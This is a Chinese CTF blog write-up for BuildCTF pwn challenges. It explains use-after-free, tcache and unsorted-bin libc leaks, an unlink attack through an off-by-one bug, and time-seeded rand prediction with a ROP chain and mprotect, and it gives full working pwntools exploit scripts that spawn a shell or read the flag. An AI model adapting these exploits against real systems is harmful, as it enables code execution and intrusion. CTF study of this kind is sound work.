buildctf pwn

ez_note

有几个功能add,delete,show,edit

  • add按顺序添加节点,且最大只能是0x80
  • delete没有清空指针,有UAF漏洞
  • show输出内容
  • edit,先是输入长度,然后编辑内容,有堆溢出漏洞

这个题目的保护全开,最重要的就是泄露libc的地址,unsorted_bin的头地址是位于libc中的,如果我们有一个unsorted_bin,它的fd,fk指针均指向这个地址,由于UAF漏洞的存在,我们可以输出这样的块。

我们发现这个题目是有tcache的,那么我们就需要填充它,还需要在free的时候有一个unsorted_bin,fastbin的最大范围是0x80;如果我们设置大小为0x80,分配的chunk的大小是0x90,就可以进行泄露了

这里有一个问题,就是这个代码

for i in range(8):
    add(0x79,"chunk"+str(i))
    pass
for i in range(7):
    free(i)
    pass
free(7)
show(7)

当我们gdb时,发现并没有这个unsorted_bin,这是因为它是最后的一个块,且是unsorted_bin那么它靠近topchunk,他就会和topchunk合并,所以我们要多设置一个块,来防止合并

泄露libc以后,就比较简单了,修改块,让其指向我们想要修改的地址,这样我们就可以任意修改,将free_hook修改为system,然后free掉带有bin/sh的块以后,就拿到了shell

exp如下

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :io.send(str(data))
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

def duan():
    gdb.attach(io)
    pause()

x64_32 = 1
if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")

def add(size,content = b'aaaa'):
    ru('choice : > ')
    io.send(str(1))
    ru("The size of this note : ")
    sl(size)
    ru("The content of this note : ")
    io.send(content)
def free(index):
    ru('choice : > ')
    io.send(str(4))
    ru("The index of this note : ")
    io.send(str(index))
def edit(index,size,content):
    ru('choice : > ')
    io.send(str(2))
    ru("The index of this note : ")
    s(index)
    ru("The size of this content : ")
    s(size)
    ru("The content of this note : ")
    io.send(content)
def show(index):
    ru('choice : > ')
    io.send(str(3))
    ru("The index of this note : ")
    s(index)

puts_got = elf.got['printf']
note = elf.sym['note']
leak("puts_got",puts_got)
for i in range(8):
    add(0x79)
    pass
add(0x79,b'/bin/sh\x00')

for i in range(7):
    free(i)
    pass
free(7)
show(7)

ru("note is : ")
libc_beta = uu64(io.recv(6))
leak("libc_beta",libc_beta)
base = libc_beta - 0x1ecbe0

sys = base + libc.sym['system']
free_hook = base + libc.sym["__free_hook"]
edit(6,0x79,p64(free_hook))
leak("free_hook",free_hook)
add(0x79)
add(0x79,p64(sys))
free(8)
itr()

off-by-one

这个题对我来说还是太难了

先来看几个功能

  • add功能,按顺序增加,不限大小,限制0xf个
  • dele功能,先free后置0,没毛病
  • edit功能,发现多读入了一个字节
  • show功能,平平无奇

刚开始就发现了华点,给出了后门及其地址,这样我们就不用泄露pie基址了

先写菜单功能

def add(size,content='aaaa'):
    ru("choise: ")
    sl(1)
    ru("choise the size: ")
    sl(size)
    ru("into this note?")
    sl(1)
    ru("content: ")
    io.sendline(content)
def free0(index):
    ru("choise: ")
    sl(2)
    ru("index: ")
    sl(index)
def edit(index,content='aaaa'):
    ru("choise: ")
    sl(3)
    ru("index: ")
    sl(index)
    ru("edited: ")
    io.send(content)
def show(index):
    ru("choise: ")
    sl(4)
    ru("index: ")
    sl(index)

拿到pie基址以及note地址

io.recvuntil("0x")
gift = int(io.recv(12),16)

base = gift - 0x1289
note_addr = base + 0x4060

这个题的got表不能改,我们可以泄露libc基址,拿到free_hook或者malloc_hook的地址,修改到后门,就能拿到shell

由于我们需要 libc 的基地址,而 unsorted bin 是双向链表有个特性,在只有一个元素的时候 fd 和 bk 都会指向链表的起始位置,而这个其实位置是位于 libc 内的,所以如果知道了这个起始位置,减去其与题目告诉的 libc 的基址的固定偏移量,就可以得到 libc的基址。

而由于这是高版本的 libc,存在一个 tcache 的结构,释放的 0x20到0x420 大小(含堆头)之间的堆并不会直接进入 fastbin 和 unsorted bin,而是会先进入这种长度的 tcache 缓冲区内,每种缓冲区大小最大为7,然后才会进入unsorted bin。所以我们申请的用来合并的堆要能被释放进入unsorted内,大小建议大一些比如 0x450 (含堆头),同时为了防止向后与top chunk合并,应当再申请堆来隔离。

add(0x38,b'chunk0')     # 末位向 8 对齐
add(0x440,b'chunk1')    # 0x440 不进入 tcache
add(0x100,b'chunk2')    # 大于后续所需 py 长度即可
add(0x100,b'chunk3')    # 以防万一隔离下

由于现在不用考虑 PIE 的问题了,并且这题只允许溢出一个字节,可以用来修改下一个堆块的标志位(标志上一个堆块是否被释放),那么我们考虑使用 unlink 技术来满足任意地址的写入的需求:

我们要知道unlink是什么,简单的演示

image-20241028225228285

当需要将second_chunk脱链时,使用unlinksecond_chunk操作。

image-20241028225308522

不难看出,实际上就是双向上链表的删除操作

third->fd = third->fd->fd
first->bk = first->bk->bk

这样就成功脱链

unlink的保护机制

保护1
#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;								      
    BK = P->bk;								      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {								      
        FD->bk = BK;							      
        BK->fd = FD;							      
        ...							      
      }									      
}

大概就是p需要脱链,p的前一个块,它的后指向p,p的后一个块,它的前指针指向p。这样就是为了验证p是不是链表上的块

保护2
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))
    malloc_printerr("corrupted size vs. prev_size");

一个堆块的size保存在两个部分:

堆块头头部字段(size)物理相邻的下一个堆块(prev_size)

这两个数值表示的堆块大小应该相等(注意是表示的而非数值,因为size的低三字节用作控制字段)

保护3
if (!in_smallbin_range(chunksize_nomask(P)) && __builtin_expect(P->fd_nextsize != NULL, 0)) {
    if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||
        __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))
            malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV);

如果chunk的大小落在largebin范围内,就会进行对nextsize的检查

我们还要知道unlink的触发时机

在这种双向链表的bin中,如果要free掉一个将会加入该bins的块,那么它会检查字节的size中的prv_inuse字段,如果处于free状态,且在物理状态上也相邻,那么,它们就会合并成一个bin块,且对前一块进行unlink

先申请两个堆,第一个大小需要向 8 对齐,这样才可以修改下一个堆块的presize 大小,同时溢出的那个字节会写到下一个堆块的 size 末尾来修改标志位,然后在第一个堆里构造出一个伪装着已经被释放了的堆,大小为第一个堆减掉一个表头 0x10,fd 指针指向 &note[0]-0x18,bk指针指向 &note[0] - 0x10,满足 unlink 的指针检测,下一个堆块的标志位检测,和下一个堆块的 presize 检测,准备使用 unlink 。

fd = note_addr - 0x18
bk = note_addr - 0x10
payload = p64(0) + p64(0x31) + p64(bk) + p64(fd) + p64(0)*2 + p64(0x30) + b'\x50'
edit(0,payload)
free(1)

我们看执行后的结果

image-20241029221756095

发现notes[0]的值指向了bss段,这样我们将把notes[1]修改指向notes[2],我们就可以输出chunk地址,从而拿到heap地址

这样我们就泄露出了chunk的地址

之后我们需要泄露libc地址,这个我们可以利用之前的unsorted_bin,我们通过输出这个bin就拿到了libc基址,但是我们看bin的结构

image-20241105115416406

发现低位为00,我们需要将其修改,再输出,所以我们将note[1]指向该地址,修改低位以后,再进行输出

chunk0_addr = heap_base + 0x2b0 #调试发现
edit(0,p64(note_addr) + p64(chunk0_addr))
edit(1,b'\x01')
show(1)

之后就是写入backdoor

edit(0,p64(free_hook))
edit(0,p64(sys_addr))

edit(3,b'/bin/sh\x00')
free(3)

完整exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :io.send(str(data))
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

def duan():
    gdb.attach(io)
    pause()

x64_32 = 1
if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'
io = process("./off-by-one")
elf = ELF("./off-by-one")
libc = ELF("./libc-2.32.so")

def add(size,content='aaaa'):
    ru("choise: ")
    sl(1)
    ru("choise the size: ")
    sl(size)
    ru("into this note?")
    sl(1)
    ru("content: ")
    io.sendline(content)
def free(index):
    ru("choise: ")
    sl(2)
    ru("index: ")
    sl(index)
def edit(index,content='aaaa'):
    ru("choise: ")
    sl(3)
    ru("index: ")
    sl(index)
    ru("edited: ")
    io.send(content)
def show(index):
    ru("choise: ")
    sl(4)
    ru("index: ")
    sl(index)

io.recvuntil("0x")
gift = int(io.recv(12),16)

base = gift - 0x1289
note_addr = base + 0x4060
leak("note_addr",note_addr)
add(0x38,b'chunk0')     # 末位向 8 对齐
add(0x440,b'chunk1')    # 0x440 不进入 tcache
add(0x100,b'chunk2')    # 大于后续所需 py 长度即可
add(0x100,b'chunk3')    # 以防万一隔离下
fd = note_addr - 0x18
bk = note_addr - 0x10
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + p64(0)*2 + p64(0x30) + b'\x50'
edit(0,payload)
free(1)

edit(0,b'aaaaaaaa'*3 + p64(note_addr) + p64(note_addr + 8*2))
#duan()
show(1)
heap_base = uu64(io.recv(6)) - 0x730
leak("heap_base",heap_base)

chunk0_addr = heap_base + 0x2b0 #调试发现
edit(0,p64(note_addr) + p64(chunk0_addr))
edit(1,b'\x01')
show(1)
#io.recv()

libc_base = uu64(io.recv(6)) - 0x1e3c01
success(hex(libc_base))
sys_addr = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
#duan()
edit(0,p64(free_hook))
edit(0,p64(sys_addr))

edit(3,b'/bin/sh\x00')
free(3)
itr()

randbox

import os
import sys
import time
from pwn import *
import ctypes

context.os = 'linux'
context.log_level = "debug"
lib = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
s       = lambda data               :io.send(str(data))
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

def duan():
    gdb.attach(io)
    pause()

x64_32 = 1
if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

io = process("./randbox")
elf = ELF("./randbox")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x4015c3
ret = 0x040101a
vuln = 0x401421

seed = lib.time(0)
lib.srand(seed)
ru("Guess what?\n")
number = lib.rand() % 50
io.sendline(str(number))
ru("Ready to hack?\n")
payload = b'a'*(0x20+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
io.send(payload)
io.recvuntil(b'\n')
puts_addr = uu64(io.recv(6))

libc_base = puts_addr - libc.sym['puts']
mprotect = libc_base + libc.sym['mprotect']
pop_rsi = libc_base+ 0x02be51
pop_rdx_r12 = libc_base + 0x11f2e7
buf = 0x404000 + 0x800

ru("Ready to hack?\n")
payload = b'a'*(0x20+8) + p64(pop_rdi) + p64(0x404000) + p64(pop_rsi) + p64(0x1000)  + p64(pop_rdx_r12) + p64(7) + p64(0) + p64(mprotect) 
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(buf) + p64(pop_rdx_r12) + p64(0x200) + p64(0) + p64(libc_base + libc.sym['read']) + p64(buf)
io.sendline(payload)

payload = asm(shellcraft.cat('/flag'))

io.sendline(payload)
itr()

ret2half

保护

image-20241105161552100

image-20241105161610828

堆题,先看add,画出结构体

本文作者:dr4w

本文链接:https://www.cnblogs.com/zMeedA/p/18581985

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   dr4w  阅读(10)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起